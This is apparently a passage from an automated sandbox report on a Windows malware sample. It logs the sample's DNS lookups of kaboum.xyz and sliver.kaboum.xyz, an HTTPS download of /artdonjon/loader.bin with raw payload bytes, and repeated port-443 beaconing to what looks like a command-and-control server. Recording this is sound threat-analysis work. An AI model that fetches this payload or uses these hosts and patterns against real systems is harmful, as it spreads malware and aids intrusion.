Dec 18, 2024 08:47:28.868855953 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:28.869071960 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:28.869096994 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:30.236006021 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:30.236293077 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:30.236293077 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:30.236321926 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:30.236345053 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:30.238015890 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:30.238082886 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:30.238611937 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:30.238723040 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:30.238770008 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:30.283339977 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:30.285747051 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:30.285753965 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:30.333818913 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:32.275227070 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:32.275410891 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:32.275504112 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:32.338145971 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:32.338186026 CET	443	49869	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:32.338206053 CET	49869	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:32.381856918 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:32.381958961 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:32.382077932 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:32.389847994 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:32.389885902 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:33.755486012 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:33.755630016 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:33.755646944 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:33.755697012 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:33.755701065 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:33.757271051 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:33.757342100 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:33.757821083 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:33.757895947 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:33.757909060 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:33.803339958 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:33.804992914 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:33.805013895 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:33.852668047 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:35.880166054 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:35.880242109 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:35.880367041 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:35.880534887 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:35.880547047 CET	443	49880	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:35.880573034 CET	49880	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:35.881962061 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:35.881984949 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:35.882083893 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:35.882468939 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:35.882476091 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:37.249011040 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:37.249207973 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:37.249223948 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:37.249300957 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:37.249306917 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:37.250719070 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:37.250790119 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:37.251230001 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:37.251296043 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:37.251339912 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:37.295348883 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:37.298393011 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:37.298403978 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:37.351763964 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:40.452538967 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:40.452600956 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:40.452653885 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:40.452743053 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:40.452754021 CET	443	49888	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:40.452764034 CET	49888	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:40.453593016 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:40.453624964 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:40.453689098 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:40.453887939 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:40.453900099 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:41.817800999 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:41.827013016 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:41.827032089 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:41.827101946 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:41.827106953 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:41.828108072 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:41.828176975 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:41.831321001 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:41.831367970 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:41.835269928 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:41.835275888 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:41.882885933 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:43.777632952 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:43.777709961 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:43.777848005 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:43.777923107 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:43.777940989 CET	443	49901	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:43.777956009 CET	49901	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:43.778851032 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:43.778872967 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:43.778938055 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:43.779186964 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:43.779201984 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:45.143733978 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:45.143898010 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:45.143918037 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:45.143966913 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:45.143973112 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:45.145400047 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:45.145462990 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:45.145852089 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:45.145925999 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:45.145937920 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:45.187346935 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:45.193052053 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:45.193065882 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:45.241317034 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:48.184973955 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:48.185072899 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:48.185139894 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:48.185261011 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:48.185286045 CET	443	49908	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:48.185301065 CET	49908	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:48.186419010 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:48.186474085 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:48.186546087 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:48.186952114 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:48.186973095 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:49.552176952 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:49.552357912 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:49.552376032 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:49.552529097 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:49.552536011 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:49.554068089 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:49.554136038 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:49.554682016 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:49.554796934 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:49.554816008 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:49.599334955 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:49.602364063 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:49.602371931 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:49.650053978 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:52.026427984 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:52.026518106 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:52.026616096 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:52.026731014 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:52.026762009 CET	443	49919	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:52.026814938 CET	49919	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:52.027915001 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:52.028021097 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:52.028105974 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:52.028430939 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:52.028466940 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:53.394151926 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:53.394937992 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:53.394937992 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:53.395001888 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:53.395057917 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:53.396521091 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:53.396610022 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:53.401416063 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:53.401506901 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:53.401532888 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:53.401561022 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:53.448992968 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:53.449054003 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:53.497349024 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:55.638942003 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:55.639027119 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:55.639122009 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:55.639246941 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:55.639267921 CET	443	49930	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:55.639293909 CET	49930	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:55.640296936 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:55.640325069 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:55.641421080 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:55.641675949 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:55.641690969 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:57.005945921 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:57.009550095 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:57.009568930 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:57.009634018 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:57.009639978 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:57.011059046 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:57.011118889 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:57.011688948 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:57.011771917 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:57.011795044 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:57.055326939 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:57.058943033 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:57.058954954 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:57.106535912 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:58.954395056 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:58.954499960 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:58.954659939 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:58.954761028 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:58.954792976 CET	443	49940	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:58.954812050 CET	49940	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:58.961461067 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:58.961584091 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:47:58.961678982 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:58.962083101 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:47:58.962122917 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:00.327236891 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:00.327542067 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:00.327614069 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:00.327672958 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:00.327686071 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:00.328707933 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:00.328814030 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:00.329277992 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:00.329346895 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:00.329375029 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:00.371346951 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:00.376954079 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:00.377037048 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:00.424762011 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:03.785310984 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:03.785399914 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:03.785528898 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:03.785629988 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:03.785674095 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:03.785674095 CET	49947	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:03.785698891 CET	443	49947	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:03.786484957 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:03.786524057 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:03.786590099 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:03.786957979 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:03.786968946 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:05.153595924 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:05.153853893 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:05.153896093 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:05.153981924 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:05.153992891 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:05.155450106 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:05.155534029 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:05.157394886 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:05.157479048 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:05.157509089 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:05.203337908 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:05.205303907 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:05.205322981 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:05.253456116 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:07.710493088 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:07.710572004 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:07.710638046 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:07.899471045 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:07.899513960 CET	443	49957	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:07.899528027 CET	49957	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:07.902664900 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:07.902728081 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:07.902792931 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:07.903692961 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:07.903712988 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:09.268659115 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:09.268815994 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:09.268872023 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:09.268923998 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:09.268938065 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:09.269989967 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:09.270067930 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:09.270473003 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:09.270543098 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:09.270548105 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:09.311353922 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:09.317738056 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:09.317760944 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:09.365626097 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:11.938159943 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:11.938237906 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:11.938319921 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:13.161170959 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:13.161170959 CET	49968	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:13.161225080 CET	443	49968	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:13.162192106 CET	49983	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:13.162233114 CET	443	49983	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:13.164226055 CET	49983	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:13.164545059 CET	49983	443	192.168.2.5	51.44.82.197
Dec 18, 2024 08:48:13.164561987 CET	443	49983	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:14.530550003 CET	443	49983	51.44.82.197	192.168.2.5
Dec 18, 2024 08:48:14.571552038 CET	49983	443	192.168.2.5	51.44.82.197

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 08:46:04.548448086 CET	54138	53	192.168.2.5	1.1.1.1
Dec 18, 2024 08:46:05.079854965 CET	53	54138	1.1.1.1	192.168.2.5
Dec 18, 2024 08:46:36.126213074 CET	52254	53	192.168.2.5	1.1.1.1
Dec 18, 2024 08:46:36.371444941 CET	53	52254	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 08:46:04.548448086 CET	192.168.2.5	1.1.1.1	0x5047	Standard query (0)	kaboum.xyz	A (IP address)	IN (0x0001)	false
Dec 18, 2024 08:46:36.126213074 CET	192.168.2.5	1.1.1.1	0x328	Standard query (0)	sliver.kaboum.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 08:46:05.079854965 CET	1.1.1.1	192.168.2.5	0x5047	No error (0)	kaboum.xyz		51.158.71.131	A (IP address)	IN (0x0001)	false
Dec 18, 2024 08:46:36.371444941 CET	1.1.1.1	192.168.2.5	0x328	No error (0)	sliver.kaboum.xyz		51.44.82.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

kaboum.xyz

sliver.kaboum.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	51.158.71.131	443	3172	C:\Users\user\Desktop\twjMb9cX64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 07:46:06 UTC	69	OUT	GET /artdonjon/loader.bin HTTP/1.1 accept: / host: kaboum.xyz
2024-12-18 07:46:07 UTC	294	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 07:46:05 GMT Server: Apache/2.4.62 (Debian) Upgrade: h2 Connection: Upgrade, close Last-Modified: Tue, 17 Dec 2024 14:24:39 GMT ETag: "105766c-629780eb13220" Accept-Ranges: bytes Content-Length: 17135212 Content-Type: application/octet-stream
2024-12-18 07:46:07 UTC	7898	IN	Data Raw: e8 c0 41 05 01 c0 41 05 01 f7 09 c2 e2 46 8e 91 22 c2 58 06 ef e1 77 73 f9 6e f6 4c d1 02 dc fe 27 ee e4 31 27 8c 1a 80 ab 00 00 00 00 a0 a0 76 33 65 64 2b fa 5b 4f 4b 10 a8 86 9d d8 6d 2a 6d d1 45 4a ac 8b 4c 2d d8 67 d2 95 91 e1 5f 3b 83 41 6a 64 f7 de c9 86 a2 c3 b9 01 76 8b 03 aa f3 3d 2a 0d 73 1b 71 46 60 79 1e c1 09 2c 8e 3a d2 30 ad bf e6 6f 2f 7f 07 30 9c 0a 6e 45 24 69 17 f4 7a 1b ca 83 1c f0 61 cf 26 74 66 a6 26 a9 66 41 c9 2d e1 6a 88 dd 45 c7 52 32 82 07 70 ef a6 4e 3d 4b 97 46 7c d8 12 ca 8a 78 92 64 57 4a 8a cb 44 42 4e a0 9a e5 d0 84 e0 d2 48 b1 43 f4 be 6c bc 43 72 fb 44 db 3d c4 6f 4e df 1b ed 6c 4b 72 78 29 3d bd fe 36 1e ac 96 d9 68 eb 9d 92 0c 5e 04 0a 63 3f 25 a7 fb 5f 26 2b 75 08 5a 56 e9 5e 33 4c 85 b5 15 3b 09 d6 de 36 08 60 0b fd Data Ascii: AAF"XwsnL'1'v3ed+[OKmmEJL-g_;Ajdv=sqF`y,:0o/0nE$iza&tf&fA-jER2pN=KF\|xdWJDBNHClCrD=oNlKrx)=6h^c?%_&+uZV^3L;6`
2024-12-18 07:46:07 UTC	8000	IN	Data Raw: 4c e2 6f f3 8e 0b 77 80 af 5f 6d 77 40 bb b9 76 8f db 9f b0 41 24 5e 72 66 9d 0a 8f ba d2 cc cd 10 b6 55 b3 ee 47 0b 10 f6 f4 de 5c 98 02 ed 41 52 80 15 93 8e 32 cb f5 e0 02 d0 cd d8 bc 29 01 f7 ea 5e 77 94 05 37 6d dc aa f1 0f ec de 87 63 a6 a1 de 9a 76 c1 77 59 49 3a bf 56 ae 6b b9 3a 7d 5d c3 0e ef 81 46 e9 c0 52 1a 34 04 54 91 e2 06 8a 7f 60 c6 8a 92 b1 c3 91 fd e5 a9 d9 c8 45 79 7f fe a2 99 35 23 dc 0f 7c ce d0 10 cb 9a cc fa 29 40 74 44 d8 fc c7 a8 43 00 85 0b 66 d9 b2 7a 64 cd 4b c5 f3 b5 d6 d2 d3 07 0c de 9d e7 d0 2c e5 ab 71 76 fd cc e7 12 2d 9b 34 aa ae 25 58 37 8e d2 99 e2 9d f2 1d 36 45 d3 af 77 22 6b 5f 28 27 a2 23 66 13 14 56 e8 e1 ff 53 94 23 62 82 5e e8 f6 5f f0 6d ce 62 09 79 87 e0 2b ba 6b ba 9e 33 dc 0c 8d c4 47 66 52 75 cf e0 c9 c8 c3 Data Ascii: Low_mw@vA$^rfUG\AR2)^w7mcvwYI:Vk:}]FR4T`Ey5#\|)@tDCfzdK,qv-4%X76Ew"k_('#fVS#b^_mby+k3GfRu
